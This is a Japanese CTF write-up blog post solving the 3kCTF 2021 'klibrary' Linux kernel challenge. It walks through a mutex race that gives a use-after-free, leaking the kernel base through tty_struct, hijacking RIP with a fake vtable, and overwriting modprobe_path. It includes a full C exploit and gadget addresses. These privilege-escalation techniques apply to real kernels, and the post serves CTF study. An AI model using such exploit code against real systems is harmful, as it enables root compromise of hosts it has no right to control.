newbieからバイナリアンへ

newbie dive into binary

昨日は海を見に行きました

【pwn 57.0】klibrary - 3kCTF 2021 (kernel exploit)

keywords

kernel exploit, tty_struct, kROP to overwrite modprobe_path, race w/ uffd

 

1: イントロ

このエントリはTSG Advent Calendar 2019の24日目の記事です。実に700日ほど遅れての投稿になります。

前回は fiord さんによる「この世界で最も愛しい生物とそれに関する技術について - アルゴリズマーの備忘録」でした。次回は JP3BGY さんによる「GCCで返答保留になった話 | J's Lab」 でした。

 

すごくお腹が空いたので、いつぞや開催された 3kCTF 2021 のkernel問題である klibrary を解いていこうと思います。なんか最近サンタさん来ないんですが、悪い子なのかも知れないです。

 

2: static

リシテア曰く。

lysithea.sh
===============================
Drothea v1.0.0
[.] kernel version:
Linux version 5.9.10 (maher@maher) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for U1
[+] CONFIG_KALLSYMS_ALL is disabled.
cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory
[!] unprivileged userfaultfd is enabled.
Ingrid v1.0.0
[.] userfaultfd is not disabled.
[-] CONFIG_DEVMEM is disabled.
===============================

割と手堅いけど、uffdができる。あとなんかvmlinuxをstripせずにそのままくれてた、クリスマスプレゼントかも知れない。どうでもいいけどCONFIG_KALLSYMS_ALLが無効になってる、めずらし。SMEP/SMAP/KPTI/KASLRは全部有効。

 

 

3: module overview

chrデバイスBook構造体のdouble-linked listを保持。典型的なノート問題。

book.c
struct Book {
  char book_description[BOOK_DESCRIPTION_SIZE];
  unsigned long index;
  struct Book* next;
  struct Book* prev;
} *root;

 

mutexを使っている。だが、わざわざ2つ(ioctl_lock, remove_all_lock)用意しているせいで、ロックを正常に取れていない(eg: REMOVE_ALL + REMOVE等)。

.c
static DEFINE_MUTEX(ioctl_lock);
static DEFINE_MUTEX(remove_all_lock);

  if (cmd == CMD_REMOVE_ALL) {
    mutex_lock(&remove_all_lock);
    remove_all();
    mutex_unlock(&remove_all_lock);
  } else {
    mutex_lock(&ioctl_lock);

    switch (cmd) {
    case CMD_ADD:
      add_book(request.index);
      break;
    case CMD_REMOVE:
      remove_book(request.index);
      break;
    case CMD_ADD_DESC:
      add_description_to_book(request);
      break;
    case CMD_GET_DESC:
      get_book_description(request);
      break;
    }

 

THE・ノート問題のため、モジュールの詳細は省略。ソースコードを見てください。

 

 

4: vuln

上に貼ったコードの通り、REMOVE_ALLとその他のコマンドで異なるmutexを使っているため、この2種の操作でレースが生じる。remove_all()は双方向リストを根っこから辿って順々にkfree()していく。add_description_to_book()/get_book_description()では、リストからユーザ指定のindexを持つBookを探し出し、copy_from_user()/copy_to_user()Book構造体にデータを直接出し入れする。

よって、(add|get)_description()で処理を止めている間にremove_all()で該当ノートを消してしまえばkUAFになる。最初にリシテアが言っていたようにunprivileged uffdが許可されているため、レースも簡単。

 

5: leak kbase via tty_struct

さて、struct Bookdescriptionを直接埋め込んでいるためkmalloc-1024に入る大きさである。この大きさと言えばstruct tty_struct。leakした後に適当にテキストっぽいものを選べばkbase leak完了! あとtty_structはkbaseの他にもヒープのアドレス、とりわけ自分自身を指すアドレスを持っているため、これも忘れずにleakしておく。

f:id:smallkirby:20211205132008p:plain

kbase leak

6: get RIP via vtable in tty_struct

さてさて、今度はRIPを取る必要がある。や、まぁRIP取らなくても年は越せるんですが。

原理はleakと同じで、copy_to_user()でフォルトを起こして止めている間に、remove_allでそいつをkfree()しちゃう。その直後にtty_structを確保することで、tty_structに任意の値を書き込むことが出来る。

書き込む位置は指定できず、必ずtty_structの先頭から0x300byte書き込むことになる。このとき、先頭のマジックナンバー(0x5401)が壊れているとtty_ioctl()@drives/tty/tty_io.c内のtty_paranoia_check()で処理が終わってしまうため、これだけはちゃんと上書きしておく。

f:id:smallkirby:20211205132028p:plain

tty_paranoia_check

tty_struct + 0x200あたりにフェイクのvtableとして実行したいコードのアドレスを入れておく。あとはopsを書き換えるために、(オフセットとか考えるのめんどいから)全部tty_struct + 0x200のアドレスで上書きする。ここで必要なtty_struct自身のアドレスは、先程のleakの段階で入手できている。これでRIPも取れました。

f:id:smallkirby:20211205132043p:plain

RIP

7: overwriting modprobe_path just by repeating single gadget

さてさてさて、このあとの方針は色々とありそう。以前解いたnuttyではtty_structの中でkROPをしてcommit(pkc(0))していた。けど、これはまぁ色々と面倒くさいし、この問題と少し状況が異なっていてstack pivotが簡単に出来なかったため却下。

上のスタックトレースは、ioctl(ptmxfd, 0xdeadbeef, 0xcafebabe)の結果なのだが、RDX/RSIが制御できていることが分かる。よって、mov Q[rdx], rsiとかmov Q[rsi], rdxみたいなガジェットを使うことで、任意アドレスの8byteを書き換えられる。tty_structは意外と頑丈らしく、全部破壊的に書き換えたとしても正常に終了してくれるっぽいので、このガジェットを何回でも呼び出すことが出来る。よって、これでmodprobe_pathを書き換えれば終わり。

gadget.txt
0xffffffff8113e9b0: mov qword [rdx], rsi ; ret  ;  (2 found)
0xffffffff81018c30: mov qword [rsi], rdx ; ret  ;  (4 found)

 

やっぱりこの方法めっちゃ楽。

 

8: exploit

exploit.c
#include "./exploit.h"
#include <fcntl.h>
#include <sched.h>

/*********** commands ******************/
#define DEV_PATH "/dev/library"   // the path the device is placed
#define CMD_ADD			0x3000
#define CMD_REMOVE		0x3001
#define CMD_REMOVE_ALL	0x3002
#define CMD_ADD_DESC	0x3003
#define CMD_GET_DESC 	0x3004

#define BOOK_DESCRIPTION_SIZE 0x300

/**********  types *********************/
typedef struct {
	unsigned long index;
	char* userland_pointer;
} Request;

#define GET_DESC_REGION          0x40000
#define ADD_DESC_REGION    0x50000

/*********** globals ****************/

char bigbuf[PAGE] = {0};
int fd, ttyfd;
ulong kbase = 0, tty_addr = 0;
scu mov_addr_rdx_rsi = 0x13e9b0;

// (END globals)

/********** utils ******************/

void add_book(int fd, ulong index) {
  Request req = {.index = index,};
  assert(ioctl(fd, CMD_ADD, &req) == 0);
}

void remove_all(int fd) {
  assert(ioctl(fd, CMD_REMOVE_ALL, remove_all) == 0);
}

// (END utils)

static void handler(ulong addr) {
  puts("[+] removing all books.");
  remove_all(fd);
  puts("[+] allocating tty_struct...");
  assert((ttyfd = open("/dev//ptmx", O_RDWR | O_NOCTTY)) > 3);
}

int main(int argc, char *argv[]) {
  system("echo -ne \"\\xff\\xff\\xff\\xff\" > /tmp/nirugiri");
  system("echo -ne \"#!/bin/sh\nchmod 777 /flag.txt && cat /flag.txt\" > /tmp/a");
  system("chmod +x /tmp/nirugiri");
  system("chmod +x /tmp/a");
  assert((fd = open(DEV_PATH, O_RDWR)) > 2);

  // spray
  for (int ix = 0; ix != 0x10; ++ix)
    assert(open("/dev/ptmx", O_RDWR | O_NOCTTY) > 3);

  // prepare
  add_book(fd, 0); add_book(fd, 1);

  // set uffd region
  struct skb_uffder *uffder = new_skb_uffder(GET_DESC_REGION, 1, bigbuf, handler, "getdesc");
  skb_uffd_start(uffder, NULL);
  sleep(1);

  // invoke uffd fault and remove all books while halting
  Request req = {.index = 1, .userland_pointer = (char*)GET_DESC_REGION};
  assert(ioctl(fd, CMD_GET_DESC, &req) == 0);

  assert((kbase = ((ulong*)GET_DESC_REGION)[0x210 / 8] - 0x14fc00) != 0);
  assert((tty_addr = ((ulong*)GET_DESC_REGION)[0x1c8 / 8] + 0x800) != 0);
  ulong modprobe_path = kbase + 0x837d00;
  ulong rop_start = kbase + mov_addr_rdx_rsi;
  printf("[!] kbase: 0x%lx\n", kbase);
  printf("[!] tty_struct : 0x%lx\n", tty_addr); // tty_addr is the Book[0]

  /****************************************************/

  // prepare
  add_book(fd, 0);

  // set uffd region
  struct skb_uffder *uffder2 = new_skb_uffder(ADD_DESC_REGION, 1, bigbuf, handler, "adddesc");
  skb_uffd_start(uffder2, NULL);
  *(unsigned*)bigbuf = 0x5401; // magic for paranoia check in tty_ioctl()

  // prepare fake vtable at the bottom of tty_struct
  for (int ix = 1; ix != BOOK_DESCRIPTION_SIZE / 8; ++ix) {
    ((unsigned long*)bigbuf)[ix] = tty_addr + 0x200;
  }
  for (int ix = BOOK_DESCRIPTION_SIZE / 8 / 3 * 2; ix != BOOK_DESCRIPTION_SIZE / 8; ++ix) {
    ((unsigned long*)bigbuf)[ix] = rop_start;
  }

  // invoke fault
  Request req2 = {.index = 0, .userland_pointer = (char*)ADD_DESC_REGION};
  assert(ioctl(fd, CMD_ADD_DESC, &req2) == 0);

  puts("[+] calling tty ioctl...");
  char *uo = "/tmp/a\x00";
  ioctl(ttyfd, ((unsigned *)uo)[0], modprobe_path);
  ioctl(ttyfd, ((unsigned *)uo)[1], modprobe_path + 4);

  puts("[+] executing evil script...");
  system("/tmp/nirugiri");
  system("cat /flag.txt");

  // end of life
  puts("[ ] END of life...");
  exit(0);
}

 

9: アウトロ

f:id:smallkirby:20211205132114p:plain

full exploit

風花雪月は4周目黄色ルートが終わりました。流石に飽きてきた可能性があり、5周目を始めるかどうか迷っています。

 

今年のアドベントカレンダーでは、「実家までこっそりと帰省して、バレないようにピンポンダッシュして東京に戻る」か「世界一きれいに手書きの『ぬ』を書きたい」のどちらかをテーマに書こうと思っています。また700日後にお会いしましょう。

 

 

10: 参考

1: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

 

続く...

 

 

You can cite code or comments in my blog as you like basically.
There are some exceptions.
1. When the code belongs to some other license. In that case, follow it.
2. You can't use them for evil purpose.
I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.

This website uses Google Analytics.It uses cookies to help the website analyze how you use the site. You can manage the functionality by disabling cookies.